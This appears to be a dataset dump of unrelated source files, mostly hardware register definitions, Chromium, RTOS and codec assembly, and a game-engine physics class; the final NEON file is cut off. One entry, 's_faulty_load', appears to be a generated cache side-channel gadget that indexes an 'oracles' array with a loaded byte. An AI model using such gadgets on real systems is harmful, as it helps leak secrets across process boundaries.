text stringlengths 1 1.05M |
|---|
.const CIA1_BASE=$dc00
.const CIA1_PORTA=CIA1_BASE+0
.const CIA1_PORTB=CIA1_BASE+1
.const CIA1_PORTA_DIR=CIA1_BASE+2
.const CIA1_PORTB_DIR=CIA1_BASE+3
.const CIA1_TIMERA_LO=CIA1_BASE+4
.const CIA1_TIMERA_HI=CIA1_BASE+5
.const CIA1_TIMERB_LO=CIA1_BASE+6
.const CIA1_TIMERB_HI=CIA1_BASE+7
.const CIA1_TOD_TS=CIA1_BASE+8
.const CIA1_TOD_S=CIA1_BASE+9
.const CIA1_TOD_M=CIA1_BASE+10
.const CIA1_TOD_H=CIA1_BASE+11
.const CIA1_SERIAL_SHIFT=CIA1_BASE+12
.const CIA1_IRQ=CIA1_BASE+13
.const CIA1_TIMERA_CNTRL=CIA1_BASE+14
.const CIA1_TIMERB_CNTRL=CIA1_BASE+15
|
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "content/browser/shared_worker/shared_worker_script_loader_factory.h"
#include <memory>
#include "content/browser/service_worker/service_worker_context_core.h"
#include "content/browser/service_worker/service_worker_context_wrapper.h"
#include "content/browser/service_worker/service_worker_provider_host.h"
#include "content/browser/service_worker/service_worker_version.h"
#include "content/browser/shared_worker/shared_worker_script_loader.h"
#include "content/common/service_worker/service_worker_utils.h"
#include "mojo/public/cpp/bindings/strong_binding.h"
#include "services/network/public/cpp/resource_response.h"
#include "services/network/public/cpp/shared_url_loader_factory.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_provider_type.mojom.h"
namespace content {
SharedWorkerScriptLoaderFactory::SharedWorkerScriptLoaderFactory(
ServiceWorkerContextWrapper* context,
base::WeakPtr<ServiceWorkerProviderHost> service_worker_provider_host,
ResourceContext* resource_context,
scoped_refptr<network::SharedURLLoaderFactory> loader_factory)
: service_worker_provider_host_(service_worker_provider_host),
resource_context_(resource_context),
loader_factory_(std::move(loader_factory)) {
DCHECK(ServiceWorkerUtils::IsServicificationEnabled());
DCHECK_EQ(service_worker_provider_host_->provider_type(),
blink::mojom::ServiceWorkerProviderType::kForSharedWorker);
}
SharedWorkerScriptLoaderFactory::~SharedWorkerScriptLoaderFactory() {}
void SharedWorkerScriptLoaderFactory::CreateLoaderAndStart(
network::mojom::URLLoaderRequest request,
int32_t routing_id,
int32_t request_id,
uint32_t options,
const network::ResourceRequest& resource_request,
network::mojom::URLLoaderClientPtr client,
const net::MutableNetworkTrafficAnnotationTag& traffic_annotation) {
// Handle only the main script (RESOURCE_TYPE_SHARED_WORKER). Import scripts
// should go to the network loader or controller.
if (resource_request.resource_type != RESOURCE_TYPE_SHARED_WORKER) {
mojo::ReportBadMessage(
"SharedWorkerScriptLoaderFactory should only get requests for shared "
"worker scripts");
return;
}
// Create a SharedWorkerScriptLoader to load the script.
mojo::MakeStrongBinding(
std::make_unique<SharedWorkerScriptLoader>(
routing_id, request_id, options, resource_request, std::move(client),
service_worker_provider_host_, resource_context_, loader_factory_,
traffic_annotation),
std::move(request));
}
void SharedWorkerScriptLoaderFactory::Clone(
network::mojom::URLLoaderFactoryRequest request) {
// This method is required to support synchronous requests, which shared
// worker script requests are not.
NOTIMPLEMENTED();
}
} // namespace content
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rax
push %rbp
// Faulty Load
lea addresses_D+0xc35b, %rax
cmp %rbp, %rbp
mov (%rax), %r14w
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ui/base/x/x11_topmost_window_finder.h"
namespace ui {
XTopmostWindowFinder::XTopmostWindowFinder() = default;
XTopmostWindowFinder::~XTopmostWindowFinder() = default;
} // namespace ui
|
data segment
port dw 290h
mes0 db 'Start.',0dh,0ah,'$'
mes db 'Exit!$'
;正弦波数据表
sin db 80h,96h,0aeh,0c5h,0d8h,0e9h,0f5h,0fdh
db 0ffh,0fdh,0f5h,0e9h,0d8h,0c5h,0aeh,96h
db 80h,66h,4eh,38h,25h,15h,09h,04h
db 00h,04h,09h,15h,25h,38h,4eh,66h
data ends
code segment
assume cs:code,ds:data
start:
mov ax,data
mov ds,ax
lea dx,mes0
mov ah,09h
int 21h
lp:
lea si,sin
mov bh,32h
llp:
mov al,[si]
mov dx,port
out dx,al
;按键退出
mov ah,06h
mov dl,0ffh
int 21h
jne exit
mov cx,1
delay:loop delay;延时
inc si
dec bh
jne llp
jmp lp
exit:
lea dx,mes
mov ah,09h
int 21h
mov ah,4ch
int 21h
code ends
end start |
; uint __FASTCALL__ zx_aaddr2cx(void *attraddr)
; aralbrec 06.2007
PUBLIC zx_aaddr2cx
.zx_aaddr2cx
ld a,l
and $1f
ld l,a
ld h,0
ret
|
#include "Application.h"
#include "ComponentCharacterController.h"
#include "ComponentTransform.h"
#include "ComponentPhysics.h"
#include "ComponentCollider.h"
#include "ComponentRigidBody.h"
#include "ComponentScript.h"
#include "ImGuizmos/ImGuizmo.h"
#include "CollisionLayers.h"
#include "GameObject.h"
#include "Alien.h"
#include "Event.h"
#include "Time.h"
#include "RandomHelper.h"
ComponentPhysics::ComponentPhysics(GameObject* go) : Component(go)
{
this->go = go;
serialize = false; // Not save & load
ID = (PxU32)Random::GetRandom32ID();
transform = go->GetComponent<ComponentTransform>();
state = PhysicState::DISABLED;
layers = &App->physx->layers;
scale = GetValidPhysicScale();
std::vector<ComponentScript*> found_script = go->GetComponents<ComponentScript>();
for (ComponentScript* script : found_script)
if (script->need_alien == true)
scripts.push_back(script);
}
ComponentPhysics::~ComponentPhysics()
{
if (actor) // Dettach and Delete Actor
{
PxU32 num_shapes = actor->getNbShapes();
PxShape* shapes[10];
actor->getShapes(shapes, num_shapes);
for (PxU32 i = 0; i < num_shapes; ++i)
actor->detachShape(*shapes[i]);
App->physx->RemoveBody(actor);
actor = nullptr;
}
rigid_body = nullptr;
}
ComponentRigidBody* ComponentPhysics::GetRigidBody()
{
return (rigid_body && IsDynamic()) ? rigid_body : nullptr;
}
void ComponentPhysics::OnEnable()
{
if (CheckChangeState())
UpdateBody();
}
void ComponentPhysics::OnDisable()
{
if (CheckChangeState())
UpdateBody();
}
void ComponentPhysics::Update()
{
GizmoManipulation(); // Check if gizmo is selected
UpdatePositioning(); // Move body or gameobject
}
void ComponentPhysics::PostUpdate()
{
float3 current_scale = GetValidPhysicScale();
if (!scale.Equals(current_scale)) {
scale = current_scale;
go->SendAlientEventThis(this, AlienEventType::PHYSICS_SCALE_CHANGED);
}
}
void ComponentPhysics::HandleAlienEvent(const AlienEvent& e)
{
switch (e.type) {
case AlienEventType::SCRIPT_ADDED: {
ComponentScript* script = (ComponentScript*)e.object;
if (script->game_object_attached == game_object_attached && script->need_alien == true)
scripts.push_back(script);
break; }
case AlienEventType::SCRIPT_DELETED: {
ComponentScript* script = (ComponentScript*)e.object;
if (script->game_object_attached == game_object_attached && script->need_alien == true)
scripts.remove(script);
break; }
case AlienEventType::COLLIDER_DELETED: {
ComponentCollider* object = (ComponentCollider*)e.object;
RemoveCollider(object);
break; }
case AlienEventType::RIGIDBODY_DELETED: {
ComponentRigidBody* object = (ComponentRigidBody*)e.object;
RemoveRigidBody(object);
break; }
case AlienEventType::CHARACTER_CTRL_DELETED: {
ComponentCharacterController* object = (ComponentCharacterController*)e.object;
RemoveController(object);
break; }
}
}
bool ComponentPhysics::AddRigidBody(ComponentRigidBody* rb)
{
if (CheckRigidBody(rb))
{
rigid_body = rb;
if (CheckChangeState()) UpdateBody();
return true;
}
return true;
}
bool ComponentPhysics::RemoveRigidBody(ComponentRigidBody* rb)
{
if (rb == rigid_body)
{
rigid_body = nullptr;
if (CheckChangeState()) UpdateBody();
return true;
}
return true;
}
void ComponentPhysics::SwitchedRigidBody(ComponentRigidBody* rb)
{
if (rb == rigid_body)
if (CheckChangeState()) UpdateBody();
}
void ComponentPhysics::AttachCollider(ComponentCollider* collider, bool only_update)
{
bool do_attach = false;
if (!only_update && CheckCollider(collider) && collider->IsEnabled())
{
if (CheckChangeState())
UpdateBody();
else
do_attach = true;
}
if (actor && (do_attach || only_update))
{
if (!ShapeAttached(collider->shape))
actor->attachShape(*collider->shape);
WakeUp();
}
}
void ComponentPhysics::DettachCollider(ComponentCollider* collider, bool only_update)
{
bool do_dettach = false;
if (!only_update && CheckCollider(collider) && !collider->IsEnabled())
{
if (CheckChangeState())
UpdateBody();
else
do_dettach = true;
}
if (actor && (do_dettach || only_update))
{
if (ShapeAttached(collider->shape))
actor->detachShape(*collider->shape);
WakeUp();
}
}
// Add Collider from Phisic System
bool ComponentPhysics::AddCollider(ComponentCollider* collider)
{
if (CheckCollider(collider))
{
if (!FindCollider(collider)) // Add Collider if is not found
colliders.push_back(collider);
if (CheckChangeState()) // Check if added collider change state
UpdateBody();
else // Else only attach
{
AttachCollider(collider, true);
}
return true;
}
return false;
}
// Remove Collider from Phisic System
bool ComponentPhysics::RemoveCollider(ComponentCollider* collider)
{
if (FindCollider(collider))
{
colliders.remove(collider);
if (CheckChangeState()) UpdateBody();
else
{
DettachCollider(collider, true);
}
return true;
}
return false;
}
bool ComponentPhysics::FindCollider(ComponentCollider* collider)
{
return (std::find(colliders.begin(), colliders.end(), collider) != colliders.end());
}
bool ComponentPhysics::CheckCollider(ComponentCollider* collider)
{
return (collider != nullptr && collider->game_object_attached == game_object_attached);
}
bool ComponentPhysics::CheckRigidBody(ComponentRigidBody* rb)
{
return (rb != nullptr && rb->game_object_attached == game_object_attached);
}
// Controller Logic -------------------------------
bool ComponentPhysics::AddController(ComponentCharacterController* ctrl)
{
if (CheckController(ctrl)) // TODO: review this
{
character_ctrl = ctrl;
return true;
}
return false;
}
bool ComponentPhysics::RemoveController(ComponentCharacterController* ctrl)
{
if (ctrl == character_ctrl) // TODO: review this
{
character_ctrl = nullptr;
if (CheckChangeState())
UpdateBody();
return true;
}
return false;
}
bool ComponentPhysics::CheckController(ComponentCharacterController* ctrl)
{
return (ctrl != nullptr && ctrl->game_object_attached == game_object_attached);
}
bool ComponentPhysics::CheckChangeState()
{
if ( !character_ctrl && !rigid_body && colliders.empty()) { // Delete if not has physic components
Destroy();
state = PhysicState::DISABLED;
return true;
}
PhysicState new_state = PhysicState::DISABLED;
if (!go->IsEnabled()) {
new_state = PhysicState::DISABLED;
}
else if (rigid_body /*&& rigid_body->IsEnabled()*/) {
new_state = PhysicState::DYNAMIC;
}
else if (HasEnabledColliders()) {
new_state = PhysicState::STATIC;
}
if (new_state != state) { // If state is different
state = new_state;
return true;
}
return false;
}
void ComponentPhysics::UpdateBody()
{
if (actor) // Dettach and Delete Actor
{
PxU32 num_shapes = actor->getNbShapes();
PxShape* shapes[10]; // Buffer Shapes
actor->getShapes(shapes, num_shapes);
for (PxU32 i = 0; i < num_shapes; ++i)
actor->detachShape(*shapes[i]);
App->physx->RemoveBody(actor);
actor = nullptr;
}
if (state == PhysicState::STATIC || state == PhysicState::DYNAMIC)
{
actor = App->physx->CreateBody(transform->GetGlobalMatrix(), IsDynamic());
if (actor == nullptr) {
LOG_ENGINE("PhyX Rigid Actor Created at Infinite Transform (Scale x,y,z = 0 ? )");
state == PhysicState::INVALID_TRANS;
return;
}
for (ComponentCollider* collider : colliders)
if (collider->enabled && collider->shape) // TODO: check this
actor->attachShape(*collider->shape);
if (IsDynamic())
rigid_body->SetBodyProperties();
}
}
float3 ComponentPhysics::GetValidPhysicScale()
{
float3 scale = transform->GetGlobalScale();
for (int i = 0; i < 3; ++i)
if (scale[i] == 0.f)
scale[i] = 0.01f;
return scale;
}
void ComponentPhysics::GizmoManipulation()
{
bool is_using_gizmo = ImGuizmo::IsUsing() && game_object_attached->IsSelected();
if (gizmo_selected)
{
if (!is_using_gizmo)
{
WakeUp();
gizmo_selected = false;
}
else
PutToSleep();
}
else
if (is_using_gizmo)
gizmo_selected = true;
}
void ComponentPhysics::UpdateActorTransform()
{
PxTransform trans;
if (!F4X4_TO_PXTRANS(transform->GetGlobalMatrix(), trans)) {
LOG_ENGINE("Error! GameObject %s transform is NaN or Infinite -> Physics Can't be updated ");
return;
}
actor->setGlobalPose(trans);
}
void ComponentPhysics::UpdatePositioning()
{
if (IsDisabled()) return;
if (character_ctrl && character_ctrl->IsEnabled()) {
UpdateActorTransform();
PutToSleep();
return;
}
if ( !Time::IsPlaying() || gizmo_selected) {
UpdateActorTransform();
}
else
{
if (IsDynamic()) {
PxTransform trans = actor->getGlobalPose(); // Get Controller Position
transform->SetGlobalPosition(PXVEC3_TO_F3(trans.p));
transform->SetGlobalRotation(PXQUAT_TO_QUAT(trans.q));
}
else {
PxTransform trans;
if (!F4X4_TO_PXTRANS(transform->GetGlobalMatrix(), trans)) {
LOG_ENGINE("Error! GameObject %s transform is NaN or Infinite -> Physics Can't be updated ");
return;
}
actor->setGlobalPose(trans);
}
}
}
void ComponentPhysics::WakeUp()
{
if (IsDynamic() && !IsKinematic())
actor->is<PxRigidDynamic>()->wakeUp();
}
void ComponentPhysics::PutToSleep()
{
if (IsDynamic() && !IsKinematic())
actor->is<PxRigidDynamic>()->putToSleep();
}
void ComponentPhysics::ChangedFilters()
{
if (IsDisabled()) return;
//App->physx->px_scene->resetFiltering(*actor);
}
bool ComponentPhysics::HasEnabledColliders()
{
for (ComponentCollider* collider : colliders)
if (collider->enabled)
return true;
return false;
}
bool ComponentPhysics::ShapeAttached(PxShape* shape)
{
bool ret = false;
PxU32 num_shapes = actor->getNbShapes();
PxShape* shapes[10]; // Buffer Shapes
actor->getShapes(shapes, num_shapes);
for (PxU32 i = 0; i < num_shapes; i++)
if (shapes[i] == shape) {
ret = true;
break;
}
return ret;
}
bool ComponentPhysics::IsDynamic() { return state == PhysicState::DYNAMIC; }
bool ComponentPhysics::IsKinematic() { return state == PhysicState::DYNAMIC && rigid_body->is_kinematic; }
bool ComponentPhysics::IsDisabled() { return state == PhysicState::DISABLED; }
|
;/*
; * FreeRTOS Kernel V10.0.1
; * Copyright (C) 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * http://www.FreeRTOS.org
; * http://aws.amazon.com/freertos
; *
; * 1 tab == 4 spaces!
; */
.thumb
.ref ulRegTest1LoopCounter
.ref ulRegTest2LoopCounter
.def vRegTest1Implementation
.def vRegTest2Implementation
ulRegTest1LoopCounterConst: .word ulRegTest1LoopCounter
ulRegTest2LoopCounterConst: .word ulRegTest2LoopCounter
ulNVIC_INT_CTRL: .word 0xe000ed04
;/*-----------------------------------------------------------*/
.align 4
vRegTest1Implementation: .asmfunc
;/* Fill the core registers with known values. */
mov r0, #100
mov r1, #101
mov r2, #102
mov r3, #103
mov r4, #104
mov r5, #105
mov r6, #106
mov r7, #107
mov r8, #108
mov r9, #109
mov r10, #110
mov r11, #111
mov r12, #112
reg1_loop:
cmp r0, #100
bne reg1_error_loop
cmp r1, #101
bne reg1_error_loop
cmp r2, #102
bne reg1_error_loop
cmp r3, #103
bne reg1_error_loop
cmp r4, #104
bne reg1_error_loop
cmp r5, #105
bne reg1_error_loop
cmp r6, #106
bne reg1_error_loop
cmp r7, #107
bne reg1_error_loop
cmp r8, #108
bne reg1_error_loop
cmp r9, #109
bne reg1_error_loop
cmp r10, #110
bne reg1_error_loop
cmp r11, #111
bne reg1_error_loop
cmp r12, #112
bne reg1_error_loop
;/* Everything passed, increment the loop counter. */
push { r0-r1 }
ldr r0, ulRegTest1LoopCounterConst
ldr r1, [r0]
adds r1, r1, #1
str r1, [r0]
pop { r0-r1 }
;/* Start again. */
b reg1_loop
reg1_error_loop:
;/* If this line is hit then there was an error in a core register value.
;The loop ensures the loop counter stops incrementing. */
b reg1_error_loop
.endasmfunc
;/*-----------------------------------------------------------*/
.align 4
vRegTest2Implementation: .asmfunc
;/* Set all the core registers to known values. */
mov r0, #-1
mov r1, #1
mov r2, #2
mov r3, #3
mov r4, #4
mov r5, #5
mov r6, #6
mov r7, #7
mov r8, #8
mov r9, #9
mov r10, #10
mov r11, #11
mov r12, #12
reg2_loop:
cmp r0, #-1
bne reg2_error_loop
cmp r1, #1
bne reg2_error_loop
cmp r2, #2
bne reg2_error_loop
cmp r3, #3
bne reg2_error_loop
cmp r4, #4
bne reg2_error_loop
cmp r5, #5
bne reg2_error_loop
cmp r6, #6
bne reg2_error_loop
cmp r7, #7
bne reg2_error_loop
cmp r8, #8
bne reg2_error_loop
cmp r9, #9
bne reg2_error_loop
cmp r10, #10
bne reg2_error_loop
cmp r11, #11
bne reg2_error_loop
cmp r12, #12
bne reg2_error_loop
;/* Increment the loop counter to indicate this test is still functioning
;correctly. */
push { r0-r1 }
ldr r0, ulRegTest2LoopCounterConst
ldr r1, [r0]
adds r1, r1, #1
str r1, [r0]
;/* Yield to increase test coverage. */
movs r0, #0x01
ldr r1, ulNVIC_INT_CTRL
lsl r0, r0, #28 ;/* Shift to PendSV bit */
str r0, [r1]
dsb
pop { r0-r1 }
;/* Start again. */
b reg2_loop
reg2_error_loop:
;/* If this line is hit then there was an error in a core register value.
;This loop ensures the loop counter variable stops incrementing. */
b reg2_error_loop
;/*-----------------------------------------------------------*/
.end
|
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 Marco Spedaletti (asimov@mclink.it)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* CLEAR SCREEN ROUTINE FOR TED *
;* *
;* by Marco Spedaletti *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
CLSG:
LDA BITMAPADDRESS
STA COPYOFBITMAPADDRESS
LDA BITMAPADDRESS+1
STA COPYOFBITMAPADDRESS+1
LDX #31
LDY #0
LDA #$0
CLSGY:
STA (COPYOFBITMAPADDRESS),Y
INY
BNE CLSGY
INC COPYOFBITMAPADDRESS+1
DEX
BNE CLSGY
LDX #64
CLSGY2:
STA (COPYOFBITMAPADDRESS),Y
INY
DEX
BNE CLSGY2
LDA COLORMAPADDRESS
STA COPYOFCOLORMAPADDRESS
LDA COLORMAPADDRESS+1
STA COPYOFCOLORMAPADDRESS+1
LDX #3
LDY #0
LDA _PEN
ASL A
ASL A
ASL A
ASL A
ORA _PAPER
CLGC:
STA (COPYOFCOLORMAPADDRESS),Y
INY
BNE CLGC
INC COPYOFCOLORMAPADDRESS+1
CPX #1
BNE CLGCNB
CLGC2:
STA (COPYOFCOLORMAPADDRESS),Y
INY
CPY #232
BNE CLGC2
CLGCNB:
DEX
BNE CLGC
RTS
|
INCLUDE "graphics/grafix.inc"
PUBLIC w_plotpixel
EXTERN l_cmp
EXTERN w_pixeladdress
EXTERN coords
;
; $Id: w_plotpixl.asm,v 1.3 2015/01/19 01:32:47 pauloscustodio Exp $
;
; ******************************************************************
;
; Plot pixel at (x,y) coordinate.
;
; Wide resolution (WORD based parameters) version by Stefano Bodrato
;
; Design & programming by Gunther Strube, Copyright (C) InterLogic 1995
;
; The (0,0) origin is placed at the top left corner.
;
; in: hl,de = (x,y) coordinate of pixel
;
; registers changed after return:
; ......../ixiy same
; afbcdehl/.... different
;
.w_plotpixel
push hl
ld hl,maxy
call l_cmp
pop hl
ret nc ; Return if Y overflows
push de
ld de,maxx
call l_cmp
pop de
ret c ; Return if X overflows
ld (coords),hl ; store X
ld (coords+2),de ; store Y: COORDS must be 2 bytes wider
call w_pixeladdress
ld b,a
ld a,1
jr z, or_pixel ; pixel is at bit 0...
.plot_position
rlca
djnz plot_position
.or_pixel
ex af,af
ld d,18
ld bc,0d600h
out (c),d
loop1:
in a,(c)
rla
jp nc,loop1
inc c
out (c),h
dec c
inc d
out (c),d
loop2:
in a,(c)
rla
jp nc,loop2
inc c
out (c),l
dec c
ld a,31
out (c),a
loop3:
in a,(c)
rla
jp nc,loop3
inc c
ex af,af
in e,(c)
or e ; set pixel in current byte
ex af,af
dec c
dec d
out (c),d
loop4:
in a,(c)
rla
jp nc,loop4
inc c
out (c),h
dec c
inc d
out (c),d
loop5:
in a,(c)
rla
jp nc,loop5
inc c
out (c),l
dec c
ld a,31
out (c),a
loop6:
in a,(c)
rla
jp nc,loop6
inc c
ex af,af
out (c),a
ret
|
;
; Copyright (c) 2010 The VP8 project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_dequant_idct_add_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
;void vp8_dequant_idct_neon(short *input, short *dq, unsigned char *pred,
; unsigned char *dest, int pitch, int stride)
; r0 short *input,
; r1 short *dq,
; r2 unsigned char *pred
; r3 unsigned char *dest
; sp int pitch
; sp+4 int stride
|vp8_dequant_idct_add_neon| PROC
vld1.16 {q3, q4}, [r0]
vld1.16 {q5, q6}, [r1]
ldr r1, [sp] ; pitch
vld1.32 {d14[0]}, [r2], r1
vld1.32 {d14[1]}, [r2], r1
vld1.32 {d15[0]}, [r2], r1
vld1.32 {d15[1]}, [r2]
ldr r1, [sp, #4] ; stride
ldr r12, _CONSTANTS_
vmul.i16 q1, q3, q5 ;input for short_idct4x4llm_neon
vmul.i16 q2, q4, q6
;|short_idct4x4llm_neon| PROC
vld1.16 {d0}, [r12]
vswp d3, d4 ;q2(vp[4] vp[12])
vqdmulh.s16 q3, q2, d0[2]
vqdmulh.s16 q4, q2, d0[0]
vqadd.s16 d12, d2, d3 ;a1
vqsub.s16 d13, d2, d3 ;b1
vshr.s16 q3, q3, #1
vshr.s16 q4, q4, #1
vqadd.s16 q3, q3, q2
vqadd.s16 q4, q4, q2
vqsub.s16 d10, d6, d9 ;c1
vqadd.s16 d11, d7, d8 ;d1
vqadd.s16 d2, d12, d11
vqadd.s16 d3, d13, d10
vqsub.s16 d4, d13, d10
vqsub.s16 d5, d12, d11
vtrn.32 d2, d4
vtrn.32 d3, d5
vtrn.16 d2, d3
vtrn.16 d4, d5
; memset(input, 0, 32) -- 32bytes
vmov.i16 q14, #0
vswp d3, d4
vqdmulh.s16 q3, q2, d0[2]
vqdmulh.s16 q4, q2, d0[0]
vqadd.s16 d12, d2, d3 ;a1
vqsub.s16 d13, d2, d3 ;b1
vmov q15, q14
vshr.s16 q3, q3, #1
vshr.s16 q4, q4, #1
vqadd.s16 q3, q3, q2
vqadd.s16 q4, q4, q2
vqsub.s16 d10, d6, d9 ;c1
vqadd.s16 d11, d7, d8 ;d1
vqadd.s16 d2, d12, d11
vqadd.s16 d3, d13, d10
vqsub.s16 d4, d13, d10
vqsub.s16 d5, d12, d11
vst1.16 {q14, q15}, [r0]
vrshr.s16 d2, d2, #3
vrshr.s16 d3, d3, #3
vrshr.s16 d4, d4, #3
vrshr.s16 d5, d5, #3
vtrn.32 d2, d4
vtrn.32 d3, d5
vtrn.16 d2, d3
vtrn.16 d4, d5
vaddw.u8 q1, q1, d14
vaddw.u8 q2, q2, d15
vqmovun.s16 d0, q1
vqmovun.s16 d1, q2
